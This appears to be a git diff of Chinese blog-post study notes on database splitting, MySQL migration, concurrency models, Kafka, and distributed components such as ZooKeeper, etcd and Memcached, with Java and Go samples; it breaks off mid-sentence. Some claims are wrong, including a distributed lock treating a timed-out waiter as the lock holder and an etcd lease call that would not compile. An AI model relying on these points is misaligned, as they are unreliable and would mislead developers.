垂直拆分:单个数据库中的不同表或列拆分为不同的数据库。 + +> 垂直拆分:假设我们有一个名为“ecommerce”的数据库,其中包含三个表:“products”、“customers”和“orders”。如果我们希望将这些表垂直拆分为不同的数据库,则可以按如下方式进行: + +> 创建一个名为“products”的新数据库,并将“products”表从原始“ecommerce”数据库中移动到“products”数据库中。 + +> 创建一个名为“customers”的新数据库,并将“customers”表从原始的“ecommerce”数据库中移动到“customers”数据库中。 + +> 创建一个名为“orders”的新数据库,并将“orders”表从原始的“ecommerce”数据库中移动到“orders”数据库中。 + +> 过程:1.评估表的结构和数据量:首先需要评估原始表的结构和数据量,确定哪些列需要被拆分出去,这些列是否频繁访问以及它们所占据的空间等。2.创建新表和更新应用逻辑:根据前面的评估结果,可以使用 CREATE TABLE 语句创建新表,并将需要拆分的列插入到新表中。在执行拆分操作之后,需要对应用程序的逻辑进行相应的修改,以确保正确地读取和写入新的表。3.索引维护和数据迁移:在完成新表的创建和插入操作之后,需要对新表进行索引维护,以确保查询性能的优化。此外,如果原始表中有大量数据需要迁移到新表中,还需要进行数据迁移操作。 + +#### MYSQL 数据迁移 + +1- 备份原始数据库:在开始迁移之前,需要先备份原始数据库,以防止数据丢失或损坏。 + +2- 创建新的 MySQL 数据库:在目标环境中创建一个新的 MySQL 数据库,确保它具有足够的空间和资源来存储和处理迁移后的数据。 + +3- 将数据导出到文件中:使用 mysqldump 命令将原始数据库中的数据导出到文件中。该命令可用于导出整个数据库或单个表,语法是`mysqldump -u [username] -p [password] [database_name] > [filename.sql]` + +4- 将数据导入到新的 MySQL 数据库中:使用 mysql 命令将先前导出的文件中的数据导入到新的 MySQL 数据库中。该命令的语法是`mysql -u [username] -p [password] [database_name] < [filename.sql]` +5- 验证数据迁移:在数据迁移完成后,需要对新的 MySQL 数据库进行验证,确保其包含了正确的数据,并且应用程序能够访问和使用它。 + +#### 其他并发模型 + +在计算机科学领域中,除了数据库并发控制外还有其他类型的并发模型。以下是一些常见的并发模型: + +1- 线程池:将线程预先创建并保存在线程池中,以便随时可以调度执行不同的任务。 + +> 一个例子是一个 Web 服务器使用线程池来处理客户端请求。假设这个 Web 服务器需要同时处理很多的客户端请求,而每个客户端请求都需要分配一个线程来进行处理。采用线程池可以将一定数量的线程预先创建并保存在线程池中,以便随时可以调度执行不同的任务,而无需即时创建和销毁线程。当有客户端请求到达时,服务器可以从线程池中获取一个空闲的线程来处理该请求,而不是新建一个线程。当某个线程完成了当前任务后,它会返回到线程池中变为可用状态,等待下一个任务的分配。这样可以显著减少线程的创建和销毁次数,降低系统开销、提高运行效率,并且可以控制同时并发执行的线程数量避免过多开启线程耗尽系统资源导致请求阻塞甚至崩溃。 + +2-Actor 模型:基于消息通信的并发模型,每个 Actor 都可以接收和发送消息,并且可以独立地运行,从而避免数据共享导致的冲突。 + +> 在线游戏中使用 Actor 模型进行并发处理。假设在游戏中有很多玩家同时在线,而每个玩家都需要独立地控制自己的角色和进行游戏交互。采用 Actor 模型可以将每个玩家的角色看作独立的 Actor,它们之间相互独立、互不干扰。这样,每个 Actor 可以接收其他 Actor 发送的消息(例如位置信息、输入指令等),并根据接收到的消息更新自己的状态和执行相应的操作。由于每个 Actor 都是独立的运行实体,并且彼此之间不共享数据,因此可以避免数据共享导致的冲突,确保游戏的并发性和稳定性。 + +3- 协程:也称为轻量级线程,可以看作是对线程的扩展,它们之间切换的成本更低,因为它们可以共享堆栈和上下文信息。 + +> 一个典型的例子是 Web 服务器使用协程来处理客户端请求,每个客户端请求要分配一个线程来处理。采用协程可以把线程拆分成多个协程。实现一个线程内并发执行多个请求,减少了线程的创建和上下文切换的开销。当协程遇到 I/O,会主动的让出 CPU,当协程完成了自己的任务又会进入到协程队列等待执行。 + +> 当有客户端请求到达时,服务器可以将该请求包装成一个协程任务,并将该任务提交给一个协程调度器。协程调度器会根据协程任务的优先级和状态选择一个处于空闲状态的协程来执行该任务。当某个协程遇到 I/O 或者等待其他操作时,它会主动让出 CPU 并将自己保存到协程队列中,等待下一次调度执行。当某个协程完成了当前任务后,它会返回到协程队列中变为可用状态,等待下一个任务的分配。 + +> 协程之间可以共享线程堆栈和上下文信息。 减少了上下文切换的开销。 + +4- Futures 与 Promises:一种通过将异步结果封装到对象中来管理并发操作的模型,可以帮助开发人员编写更容易理解的并发代码。 + +> 举个例子,假设我们需要向服务器发起一个网络请求并等待响应,但由于网络延迟,我们不能立即获得响应结果。 + +> 在这种情况下,我们可以创建一个 Promise 对象来表示未来接收到的结果,并返回一个 Future 对象作为异步任务的句柄,供调用方使用。当异步操作完成时,Promise 对象会将结果存储在内部,并通知与之相关联的 Future 对象,使得调用方可以获取结果。 + +5-数据流:基于数据流的并发模型,将数据管道化,实现并行处理,以提高大规模数据处理的效率。 + +> 读取大规模日志文件时,使用数据流的方式进行并行处理。假设有一个包含数百万条记录的日志文件需要进行分析和处理,单个线程很难胜任这个任务。采用并发模型可以将数据划分为多个数据流,每个数据流由不同的处理线程负责处理。例如,一个线程负责过滤掉无效的记录,另一个线程负责解析有效的记录,而其他线程则负责对数据进行汇总和归档。这种方式可以显著提高数据处理的效率和速度,同时减少处理过程中可能出现的错误。 + +6- 事件驱动架构(EDA):利用事件通知的方式来实现异步处理,将任务拆分为多个事件组件,以便可以适应高负载的场景 + +> 假设我们正在为一个电子商务网站编写系统,该系统需要在每个订单被创建时发送一封确认电子邮件给客户,以及通知仓库准备出货。这里我们可以将整个处理过程分解为多个事件:OrderCreated:当一个新订单被创建时触发。CustomerNotified:当确认电子邮件已成功发送给客户时触发。WarehouseNotified:当仓库准备好出货时触发。为了实现这样的事件驱动架构,我们可以使用 Apache Kafka 来扮演消息代理的角色。先定义三个 Topic:orders、emails 和 warehouse。然后将每个事件组件的输入与输出连接到对应的 Topic 上: + +> OrderCreated 组件从 orders Topic 中读取订单信息,并向 emails Topic 发送确认电子邮件.CustomerNotified 组件从 emails Topic 中读取确认邮件信息,并向 orders Topic 发送回执.WarehouseNotified 组件从 orders Topic 中读取订单信息,并向 warehouse Topic 发送货物出库指令。 + +> 过程:实现这个功能需要在代码中创建 Consumer 和 Producer 。OrderCreated 组件需要做的事情是消费 orders Topic 中的订单信息,然后在电子邮件模板中填入订单详细信息,并将填好信息的邮件发送到 emails Topic 中。 + +1- 创建一个名为 orders 的 Topic,用于存储订单信息 + +2- 在 OrderCreated 组件中创建一个 Kafka Consumer,订阅 orders Topic。 + +```java +consumer = new KafkaConsumer<>(properties); +consumer.subscribe(Collections.singleton("orders")); +``` + +3- 从 orders Topic 中读取订单信息。 + +```java +ConsumerRecords records = consumer.poll(Duration.ofMillis(100)); +for (ConsumerRecord record : records) { + Order order = record.value(); + // 在订单信息中提取必要的信息,比如订单号、客户姓名、商品信息等 + // 将这些信息填入电子邮件模板 +} + +``` + +4- 在邮件正文中填入订单详细信息,利用 JavaMail API 发送确认电子邮件。 + +```java +String messageBody = "亲爱的" + customerName + ",您的订单#" + orderId + "已经确认,您购买了以下商品:" + itemNames; +Message message = new MimeMessage(session); +message.setFrom(new InternetAddress(from)); +message.setRecipients(Message.RecipientType.TO, InternetAddress.parse(to)); +message.setSubject("您的订单已确认"); +message.setText(messageBody); +Transport.send(message); + +``` + +5 - 创建一个 Kafka Producer,将填好信息的邮件发送到 emails Topic 中。 + +```java +// 创建Producer +Producer producer = new KafkaProducer<>(properties); +// 创建ProducerRecord,指定目标Topic、键和值 +ProducerRecord record = new ProducerRecord<>("emails", customerId, messageBody); +// 发送消息 +producer.send(record); + +``` + +总之,OrderCreated 组件通过消费 orders Topic 中的订单信息,并在电子邮件模板中填入必要的信息,然后将填好信息的邮件发送到 emails Topic 中,从而实现了向客户发送确认电子邮件的功能。 diff --git a/_posts/2023-4-25-test-markdown.md b/_posts/2023-4-25-test-markdown.md new file mode 100644 index 000000000000..beb9a48538c4 --- /dev/null +++ b/_posts/2023-4-25-test-markdown.md @@ -0,0 +1,459 @@ +--- +layout: post +title: 分布式 +subtitle: +tags: + [ + 分布式 + ] +comments: true +--- + +### 服务注册-服务监控-负载均衡 + +服务注册:在分布式系统中,服务注册中心作为服务提供者和服务消费者之间的桥梁,通过服务注册中心进行服务注册和发现,从而实现服务之间的通信。 + +服务监控:服务监控能够实时收集各个服务的性能数据和运行状态,并及时发现并解决问题。通过服务监控,可以保证服务的高可用性和稳定性。 + +负载均衡:通过将请求平均地分摊到多个服务器上处理,负载均衡可以避免某个服务器负载过重而影响整个系统的性能。同时,负载均衡也可以提高系统的可伸缩性和吞吐量。 + +#### 一致性/CAP 理论/BASE 理论 + +分布式系统一致性:指多个节点之间数据的一致状态,即对于一个操作请求,所有节点都应该返回相同的结果。在分布式系统中,由于网络传输、节点故障等原因,可能会出现数据不一致的情况,因此保证分布式系统的一致性是非常重要的。 + +CAP 理论:CAP 是分布式系统设计的三个指标:一致性(Consistency)、可用性(Availability)和分区容错性(Partition tolerance)的首字母缩写。CAP 理论认为,在分布式系统中,无法同时满足一致性、可用性和分区容错性,只能从其中牺牲一个或两个来保证另外一个。因此,在设计分布式系统时,需要根据具体的场景权衡取舍。 + +#### 共识算法 + +> Paxos 通过二阶段提交选择主节点。二阶段提交主要通过:按照提案的编号顺序进行决策。主节点负责处理客户端请求和更新其他所有节点的状态。每个节点可以是“提议者”,“接受者”,“学习者” + +> 第一阶段(Prepare Phase):提议者向所有节点发送编号更高的提案,请求它们批准该提案。如果一个接收者发现自己已经承诺支持了一个更高编号的提案,则向提议者返回拒绝消息;否则,它就承诺不再接受编号小于当前提案的提案,并返回同意消息。 + +> 第二阶段(Accept Phase):提议者在得到多数派节点的支持之后,向这些节点发送最终提案并要求它们执行该提案。当一个节点收到最终提案时,如果它没有承诺支持任何比它知道的更高编号的提案,那么它就批准该提案并将其记录到本地;否则,它就忽略该提案。 + +Paxos 算法是一种应用广泛的共识算法,被用于解决分布式系统中的一致性问题。它通过一个两阶段提交的过程来决定哪一个节点将成为主节点,这个节点负责处理客户端的请求并更新所有节点的状态。在 Paxos 算法中,每个节点可以充当提议者、接受者或学习者三个角色中的任意一个,根据不同场景动态调整。 + +> 多节点组成集群,通过投票选择领导者进行操作。领导者向其他节点发送日志条目实现状态的复制和更新。 + +Raft 算法也是一种流行的共识算法。它与 Paxos 相似,但更加简单易懂。在 Raft 算法中,多个节点组成集群,并通过投票方式选择领导者节点进行操作。领导者节点负责向其他节点发送日志条目以实现状态复制和更新,同时还需要处理选举过程中出现的问题。 + +#### 分布式 UUID 生成算法 + +-1 数据库自增 ID + +将每个节点维护一个全局计数器,并为每个新对象分配一个自增 ID。这个 ID 可以在数据库中存储为主键或其他唯一索引。优点是实现简单,易于管理和扩展;缺点是容易造成瓶颈,因为所有的节点都依赖于同一个计数器。 + +-2 雪花算法 +实现是:时间戳+机器码+序列号生成 64 位二进制数 + +核心思想是将时间戳、机器码和序列号组合在一起,生成一个 64 位的二进制数。其中,时间戳占用了 42 位,可以精确到毫秒级别;机器码占用了 10 位,可以支持 1024 台机器;序列号占用了 12 位,可以支持每台机器每毫秒产生 4096 个 ID。 + +-3 UUID-1 + +UUID-1 基于 MAC 地址和时间戳生成,它的长度为 128 位,其中包含一个版本号和一个时钟序列号。这种方法的优点是高效、安全和可靠,因为它基于物理设备和系统时钟,能够确保每个节点生成的 UUID 都是唯一的。缺点是可能会泄露 MAC 地址和其他敏感信息,并且在虚拟化环境中可能出现问题。 + +-4 UUID-3、UUID-4、UUID-5 + +UUID-3、UUID-4、UUID-5 是根据不同的算法生成 UUID 的,它们使用的是特定输入的哈希值而不是时间戳或计数器。这种方法的优点是可预测、安全、随机性高,并且不依赖于系统时钟。缺点是速度较慢,生成的 ID 长度可能过长。 + +### 分布式组件 + +#### 分布式缓存 + +> 复杂把数据存储在内存加速数据访问。 + +常用的分布式缓存组件包括 Redis 和 Memcached,它们通过将数据存储在内存中来加速数据访问,并提供缓存失效、数据持久化和高可用性等功能。 + +#### 分布式文件系统 + +> 作用:分布式环境下文件的存储和共享。实现思想是:数据分片+副本机制+提供文件系统接口 + +> 原理:分散存储+元数据管理+文件块复制+块地址映射 + +分散存储 +DFS 通过将数据分割成若干块,并将这些块分别存储在不同的服务器上来实现分散存储。这样做有两个好处:首先,可以有效降低每台服务器的负载,从而提高系统的可用性和性能;其次,如果某个服务器出现故障,数据也不会全部丢失。 + +元数据管理 +元数据是指记录文件名、大小、创建时间、修改时间、所属用户等信息的数据。为了维护文件系统的完整性和一致性,DFS 需要对元数据进行管理。通常情况下,元数据保存在专门的元数据服务器上,并在其他服务器中缓存。 + +文件块复制 +由于服务器之间的网络出现故障或者宕机的可能性,DFS 需要在不同的服务器之间复制文件块。块的副本数可以根据具体情况进行调整。通常情况下,一个块的副本数为 3,即每个块有三份拷贝存储在不同的服务器上。 + +块位置映射 +DFS 需要一种机制来记录文件块所处的位置和其对应的服务器。这个映射关系可以通过一个叫做 NameNode 的元数据服务器来实现。当客户端需要访问某个文件块时,它会向 NameNode 发送请求,NameNode 会返回该文件块所处的服务器地址列表。 + +#### 消息队列 + +> 作用:异步通信、解耦 + +> 原理: 发布订阅模型+生产者/消息服务器/消费者 + +Kafka、RabbitMQ 和 ActiveMQ 消息队列可以实现异步通信、解耦和可靠性等特性 + +**实现原理**:根据发布-订阅模型工作。三个角色生产者,消费者,消息服务器 + +生产者把消息发送到消息服务器——消息服务器把消息存储在队列里面,按照指定的规则把消息分开发到消费者——消费者从消息队列获取到消息,进行处理。 + +> 负责把消息从一个节点发送到另外一个节点,提供高可用性,数据持久话,消息查询,消息监控。 +> 消息队列的具体实现方式有很多种,其中比较常见的包括基于 RabbitMQ、Kafka 和 ActiveMQ 等开源消息中间件。这些消息队列系统通常支持不同的协议、路由规则、消息格式和持久化方式,可以根据具体需求进行选择和配置。 + +发送者向队列发送消息 +消息队列作为中介,在消息的发送方和接收方之间建立了一个缓冲区,生产者(producer)向该缓冲区中发送消息(message)。消息包括消息内容和标识符。 + +队列保存消息 +消息队列发现有消息向其发送,就会将该消息暂存储在内部的数据结构中,以备接收者(consumer)读取。此时,消息发送方可以继续执行其他操作,因为他们不需要等待对方回复。 + +接收者从队列中获取消息 +消息消费者随时都可以查看并获取队列中的消息,从而使得异步通信成为可能。可以通过轮询或阻塞两种方式获取消息,轮询就是通过不断地检查队列中是否有消息,阻塞则是在队列中没有消息时,保持线程挂起状态,直到队列中出现了新的消息才被唤醒。 + +消息确认和删除 +当元素被检索和处理之后,队列会向消费者发送一个确认信号(acknowledgement),表示该元素已经被处理。在某些情况下,消息可以根据特定的需求进行删除或重新发布。 + +#### 远程调用框架/Dubbo + +> 作用:跨网络服务调用 + +> 原理:客户端代理——传输协议——序列化和反序列化——网络传输——反射调用——容错+负载均衡 + +客户端代理 +客户端通过使用特定的调用接口和参数,调用需要被执行的远程服务,但是它并不需要知道这个服务具体是在哪个机器、进程或线程中被执行,也不需要知道调用细节的实现方式。相反,客户端通常会生成一个代理对象来代表服务提供者,通过该代理对象与服务提供者进行通信。 + +传输协议 +远程调用框架需要定义一种传输协议,以确定数据如何在客户端和服务端之间通过网络传输。常见的传输协议有 HTTP/HTTPS、TCP、UDP、RSM 等。其中 HTTP/HTTPS 适合跨越网络边界和防火墙使用,但是速度较慢;而 TCP 则有更高的传输速度和可靠性,但是不支持经过防火墙的通信等限制。 + +序列化和反序列化 +当客户端和服务端进行通信时,需要将函数调用参数以及返回结果等数据打包成字节流进行传输。 在这个过程中,需要使用一种序列化方法来将数据转换为二进制格式,以便可以在网络上传输的同时保持数据结构不变 。 + +网络传输 +客户端将序列化后的请求通过网络协议发送到服务器端,并等待接收响应。服务端收到请求后会对其进行解析并执行相应的操作,然后将操作结果序列化为响应数据,并通过网络传输给客户端。 + +反射调用 +服务端通过反射方式获取请求的方法名和参数信息,并利用反射机制动态地调用相应的方法。当函数执行后,它的返回结果也会被序列化并返回给客户端。 + +容错和负载均衡 +远程调用框架需要支持容错和负载均衡机制,以确保整个系统的稳定性和可靠性。容错机制是指当发生故障或异常情况时如何处理,例如重试、补偿或切换节点等;而负载均衡则是指如何根据不同的负载情况来选择最优的服务节点。 + +远程调用框架可以方便地进行跨网络的服务调用,例如 gRPC 和 Apache Dubbo 等。这些框架提供了通信协议、编解码和负载均衡等功能,可以降低服务间的耦合度,提高系统的可扩展性。 + +#### 分布式锁 + +> 作用:控制多个进程或线程对共享资源访问。 + +> 原理:1.获取锁-2.续租锁 3-释放锁 4-防止死锁 + +分布式锁用于控制多个进程或线程对共享资源的访问,例如 Zookeeper 和 Redisson 等。这些组件通过选主机制、乐观锁、悲观锁等方式来实现数据的同步和互斥,并提供了容错和集群管理等功能。 + +获取锁 +首先要尝试获取锁,并设置一个超时时间;如果当前没有其他客户端持有该锁,则获取成功,并将锁的状态保存在共享存储中。 + +续租锁 +为了防止持有锁的客户端崩溃或者失去连接后,其他客户端无法获得锁,分布式锁还需要提供续租机制。即在持有锁的客户端与共享存储之间建立心跳机制,定期续租以保证锁的状态正常。 + +释放锁 +客户端在结束对共享资源的访问时,需要显式地将锁释放。如果当前持有锁的客户端崩溃或者失去连接,则需要等待一定时间后自动释放锁。 + +防止死锁 +分布式锁还需要支持防止死锁机制,一般采用超时机制或者基于 FIFO 等待队列来实现。当一个客户端无法获得锁时,它会在共享存储中创建一个节点,并开始等待,如果等待超时,则该客户端将被认为是已经获得了锁,从而避免死锁问题的发生。 + +#### 数据库中间件 + +> 作用:多个数据节点组成一个逻辑数据库集群。提供了事务管理,数据一致性。 + +> 原理:负载均衡+故障转移+数据分片+缓存 + +数据库中间件可以将多个数据库节点组成一个逻辑数据库集群,提供查询路由、事务管理和数据一致性等功能。常见的数据库中间件包括 MySQL Proxy、TDDL 和 MyCAT 等。 + +负载均衡 +数据库中间件可以有效地分配来自不同客户端的请求,并将其路由到多个数据库节点上,以减轻单个节点的压力。常见的负载均衡算法包括轮询、随机、最少连接数等。 + +故障转移 +在一个分布式数据库系统中,如果某个节点崩溃或者失效,则数据库中间件需要通过切换机制,将该节点的所有请求重定向至其他正常工作的节点上,以保证系统的可用性。 + +数据分片 +为了实现横向扩展和分布式部署,数据库中间件通常会对数据进行分片,即将一个大型数据库分解为若干个子集,并将每个子集存储在不同的物理节点上。分片可以通过哈希、范围、列表等方式来实现。 + +> 哈希分片是将数据集合中的元素通过哈希函数映射到不同的分片中。在哈希分片中,数据元素的分配顺序是随机的,因此可以有效地避免热点数据问题。当有新节点加入或者退出集群时,只需要重新计算哈希值,并调整数据分配即可 + +缓存 + +数据库中间件还可以实现查询结果的缓存,以减少对数据库的访问频率,并提高系统的性能。缓存可以在客户端、中间件和数据库之间任意一层实现,常见的策略包括 FIFO、LRU 等。 + +### ZooKeeper + +ZooKeeper 客户端 +ZooKeeper 客户端是指运行在应用程序中的客户端库。它提供了与 ZooKeeper 服务器进行交互的 API,并允许应用程序连接到集群中的任何一个节点。ZooKeeper 客户端可以使用 Java、C 和 Python 中的多种编程语言进行开发。 + +使用 Java 编写 ZooKeeper 客户端需要在应用程序中导入 ZooKeeper 的 Java 客户端库,例如 Apache Curator 等。 + +ZooKeeper 服务端 + +ZooKeeper 服务端是指运行在服务器上的 ZooKeeper 实例。它们之间通过网络进行通信,并将数据存储在内存中。ZooKeeper 集群中的每个节点都可以成为 Leader 或 Follower。Leader 节点负责接收所有写操作,而 Follower 节点则从 Leader 节点复制数据以保持自己的状态与 Leader 节点相同。 + +使用 ZooKeeper 服务端时,需要安装 ZooKeeper 软件包并设置相应的配置文件。ZooKeeper 支持单机模式、伪分布式模式和完全分布式模式。在生产环境中,通常会部署多个 ZooKeeper 实例以提高可用性和性能。 + +总的来说,使用 ZooKeeper 需要先启动 ZooKeeper 服务端,然后在应用程序中使用 ZooKeeper 客户端连接到集群。通过 ZooKeeper 提供的 API,应用程序可以完成分布式应用程序中的多种协调任务。 + +在 ZooKeeper 中,客户端连接到 ZooKeeper 集群需要指定一个包含了 ZooKeeper 服务器的 IP 地址和端口号列表的链接字符串 + +```text +host1:port1,host2:port2,...,hostN:portN +``` + +其中,每个 host:port 对应一个 ZooKeeper 服务器的网络地址。当客户端连接到 ZooKeeper 服务器时,它可以根据给出的连接字符串中列出的主机名或 IP 地址连接到任何一个 ZooKeeper 服务器。一般情况下,客户端会先连接到其中一个 ZooKeeper 服务器,并通过该服务器获取整个集群的状态。 + +在 Java 中,使用 ZooKeeper API 连接到 ZooKeeper 集群的代码如下所示: + +```java +String connectionString = "server1:2181,server2:2181,server3:2181"; +int sessionTimeout = 30000; +Watcher watcher = new MyWatcher(); // 自定义Watcher对象 +ZooKeeper zk = new ZooKeeper(connectionString, sessionTimeout, watcher); +``` + +上代码创建了一个 ZooKeeper 客户端,并连接到给定的 ZooKeeper 集群。其中 connectionString 参数指定了 ZooKeeper 服务器的 IP 地址和端口号列表;sessionTimeout 参数指定了 ZooKeeper 客户端的会话超时时间;watcher 参数是一个 Watcher 对象,用于处理节点变化事件。 + +需要注意的是,在处理完 ZooKeeper 客户端操作后,必须调用 ZooKeeper.close()方法关闭客户端与 ZooKeeper 服务器之间的连接。这是由于 ZooKeeper 客户端会占用一部分系统资源,如果不关闭客户端连接,可能会导致系统资源耗尽问题。 + +#### 工作过程 + +> 作用:管理配置信息。状态信息。 + +> 原理:每个 ZooKeeper 客户端都能连接到任意一个 ZooKeeper 服务器,然后对服务器的数据进行读写。当一个客户端对数据进行更新,该更新操作会广播到集群上的其他节点。 + +#### Zab 协议 + +> 核心:某个节点被选为 LEADER 节点,所有的更新操作通过 LEADDER 节点处理。其他节点可以获得完整的操作日志,并且可以通过该日志将自己恢复到与 Leader 节点相同的状态。 + +#### 节点类型 + +> 持久型+临时型+持久顺序型 + +持久节点的生命周期与 ZooKeeper 服务器的生命周期相同;临时节点只有在创建它们的会话连接有效时才存在;而持久顺序节点则是在持久节点的基础上,自动为每个节点分配一个编号 + +#### Watcher + +> 核心:Watcher 被注册到某个节点上,当该节点发生变化的时候,注册了该节点的客户端都可以收到通知。 + +Watcher 是 ZooKeeper 中的一项重要特性,用于监视节点中数据的变化。当一个 Watcher 被注册到某个节点上时,当该节点发生变化时,所有注册了该 Watcher 的客户端都会收到通知。这样,客户端就可以通过实时获取节点状态的变化来维护自己的数据模型。 + +1-在 ZooKeeper 客户端连接到 ZooKeeper 集群后,使用 ZooKeeper API 监听存储在指定路径上的节点。例如: + +```java +ZooKeeper zk = new ZooKeeper("localhost:2181", 10000, null); +Stat stat = zk.exists("/path/to/node", watcher); +``` + +2- 在 Watcher 对象的 process()方法中,编写处理节点变化事件的代码。例如: + +```java +Watcher watcher = new Watcher() { + public void process(WatchedEvent event) { + if (event.getType() == EventType.NodeDataChanged) { + // 节点数据发生变化 + byte[] data = zk.getData(event.getPath(), this, null); + // 处理节点数据变化事件 + } else if (event.getType() == EventType.NodeChildrenChanged) { + // 子节点列表发生变化 + List children = zk.getChildren(event.getPath(), this); + // 处理子节点列表变化事件 + } else if (event.getType() == EventType.NodeDeleted) { + // 节点被删除 + // 处理节点删除事件 + } else if (event.getType() == EventType.NodeCreated) { + // 节点被创建 + // 处理节点创建事件 + } + } +}; +``` + +3- 当 ZooKeeper 节点发生变化时,ZooKeeper 将向客户端发送 Watcher 通知,客户端将执行与节点变化相关的代码。在处理完节点变化事件后,应该重新注册 Watcher 以便监听下一次节点变化。 + +#### 会话 + +每个与 ZooKeeper 服务器进行连接的客户端都会创建一个会话(Session),并且该会话将跟踪该客户端与服务器之间的状态。如果客户端在一定时间内没有向 ZooKeeper 服务器发送任何请求,则 ZooKeeper 服务器将关闭该会话。因此,需要注意的是,在使用 ZooKeeper 时必须确保会话是活动的,否则会话过期可能会导致应用程序出现问题。 + +#### 示例代码 + +```java +import org.apache.zookeeper.*; +import java.io.IOException; + +public class ZookeeperTest { + private static final String zkServerList = "localhost:2181"; // ZooKeeper服务器列表 + private static final int sessionTimeout = 5000; // 会话超时时间 + + public static void main(String[] args) throws IOException, InterruptedException, KeeperException { + // 连接ZooKeeper集群 + ZooKeeper zk = new ZooKeeper(zkServerList, sessionTimeout, new Watcher() { + @Override + public void process(WatchedEvent watchedEvent) { + System.out.println("Receive event: " + watchedEvent); + } + }); + System.out.println("State: " + zk.getState()); + + // 创建一个ZNode节点 + String path = "/test_path"; + byte[] data = "Hello ZooKeeper".getBytes(); + zk.create(path, data, ZooDefs.Ids.OPEN_ACL_UNSAFE, CreateMode.PERSISTENT); + System.out.println("Created ZNode " + path); + + // 读取ZNode节点数据 + byte[] readData = zk.getData(path, false, null); + System.out.println("Read data: " + new String(readData)); + + // 关闭ZooKeeper连接 + zk.close(); + System.out.println("Closed"); + } +} + +``` + +以上代码通过 ZooKeeper API 连接到本地的 ZooKeeper 服务,创建了一个名为/test_path 的 ZNode 节点.,并将字符串“Hello ZooKeeper”保存在该节点中。然后又读取了该节点上的数据,并在控制台输出。 + +需要注意的是,在处理完 ZooKeeper 客户端操作后,必须调用 ZooKeeper.close()方法关闭客户端与 ZooKeeper 服务器之间的连接。这是由于 ZooKeeper 客户端会占用一部分系统资源,如果不关闭客户端连接,可能会导致系统资源耗尽问题。 + +### ETCD + +Etcd 采用 gRPC 框架实现节点间的通信,这种框架能够提供高效、可靠和安全的网络通信。 + +#### 键值存储 + +Etcd 提供了类似于字典(Dictionary)的数据结构,支持用户以键值对(Key-Value)的方式存储、查询和删除数据。每个键(Key)在 Etcd 中都是唯一的,并且可以用字符串、整数等多种类型表示。 + +> 原理:Etcd 使用类似于 B+Tree 的数据结构来存储键值对,这种数据结构能够提供高效的范围查询和迭代操作。 + +#### 分布式系统 + +Etcd 的数据存储是分布在多个节点中的,并采用 Raft 一致性算法实现数据复制和故障转移机制,保证系统的高可用性和一致性。 + +> 原理:Etcd 采用 Raft 一致性算法来保证分布式系统中的数据复制、选举和故障转移等功能。Raft 算法是一种强一致性算法,能够在网络分区和节点故障的情况下依然保持可用性和一致性。 + +#### 高可用性集群 + +Etcd 采用主从架构的方式部署,每个节点可以扮演 Leader 或 Follower 角色,并通过选举机制保证 Leader 节点的选举过程具有高可靠性和高效性。 + +> 原理:Etcd 将每次提交的写操作记录到日志中,并定期生成快照以减小日志文件的大小。快照和日志文件的存储位置可以配置在不同的设备上,从而避免了磁盘 I/O 瓶颈。 + +#### 时间戳存储 + +Etcd 使用时间戳(Revision)的方式记录每个键值的版本信息,这使得用户可以检索历史版本的数据,并可以跟踪数据变化的时间轴。 + +#### 事件通知和监控 + +Etcd 能够自动地向订阅者(Watcher)发送事件通知,当数据发生变化时,客户端可以通过 Watch API 接口及时收到通知,并做出相应的处理。 + +#### 示例代码 + +```go +package main + +import ( + "context" + "fmt" + "log" + "time" + + "go.etcd.io/etcd/clientv3" +) + +func main() { + // 创建一个客户端连接 + cli, err := clientv3.New(clientv3.Config{ + Endpoints: []string{"localhost:2379"}, // ETCD集群节点地址 + DialTimeout: 5 * time.Second, + }) + if err != nil { + log.Fatal(err) + } + defer cli.Close() + + // 注册一个服务到ETCD中 + serviceName := "my-service" + serviceIP := "127.0.0.1" + servicePort := 8080 + serviceKey := fmt.Sprintf("%s/%s:%d", serviceName, serviceIP, servicePort) + serviceValue := fmt.Sprintf("%s:%d", serviceIP, servicePort) + fmt.Printf("registering service %s with value %s\n", serviceKey, serviceValue) + if err := registerService(cli, serviceKey, serviceValue); err != nil { + log.Fatal(err) + } + + // 从ETCD中发现服务 + fmt.Printf("discovering service %s\n", serviceName) + addrs, err := discoverService(cli, serviceName) + if err != nil { + log.Fatal(err) + } + fmt.Printf("found service addresses: %v\n", addrs) +} + +// 实现向ETCD中注册服务的函数 +func registerService(cli *clientv3.Client, key, value string) error { + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + _, err := cli.Put(ctx, key, value, clientv3.WithLease(cli.Lease)) + return err +} + +// 实现从ETCD中发现服务的函数 +func discoverService(cli *clientv3.Client, name string) ([]string, error) { + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + resp, err := cli.Get(ctx, name+"/", clientv3.WithPrefix()) + if err != nil { + return nil, err + } + addrs := []string{} + for _, kv := range resp.Kvs { + addrs = append(addrs, string(kv.Value)) + } + return addrs, nil +} + +``` + +在该代码示例中,首先创建了一个 ETCD 客户端连接,并注册了一个服务到 ETCD 中。具体实现方式是向 ETCD 中写入一个键值对,键名为 serviceName/IP:port(例如 my-service/127.0.0.1:8080),键值为 IP:port(例如 127.0.0.1:8080)。之后,通过调用 discoverService 函数可以根据服务名称从 ETCD 中发现所有匹配的服务地址,并将这些地址返回。 + +需要注意的是,在使用 ETCD 进行服务注册和发现时,通常需要考虑到负载均衡、健康检查和节点失效等问题,以保证服务的高可用性和稳定性。 + +### memcache + +Memcached 是一款基于内存的缓存系统 + +#### 内存管理-内存结构-Slab + +Memcached 使用的内存结构是 Slab Allocator,将内存分为多个连续的 Slab 类型大小的区域,每个 Slab 中包含若干大小相等的 chunk。Slab 本质上是一块预分配好的内存区域,其中每个 chunk 大小固定不变,用于缓存具有相同长度的数据项。这种内存管理方式能够充分利用可用内存,减少对操作系统的频繁申请和释放内存的次数,从而提高了 Memcached 的性能和效率。 + +#### 内存管理-内存分配 + +在内存分配方面,Memcached 使用的是 slab 分配算法(Slab Allocation),该算法采用了预先分配的内存池,将内存按照大小进行划分,建立多个 slab 空间来管理内存。当新建一个缓存对象时,Memcached 会查找到合适的 slab 来存放它。如果没有可以存放的空间或者 slab 里的 chunk 被占满了,则需要使用 LRU 等淘汰算法腾出空间。 + +#### 内存回收 + +在内存回收方面,Memcached 采用的是惰性删除(Lazy Expire)和 LRU 淘汰算法。对于过期的数据,Memcached 并不会立刻清除它们,而是在 get 操作时进行检测;对于超出内存限制的数据,则使用 LRU 等淘汰算法进行回收。 + +#### 服务器集群 + +服务器集群:Memcached 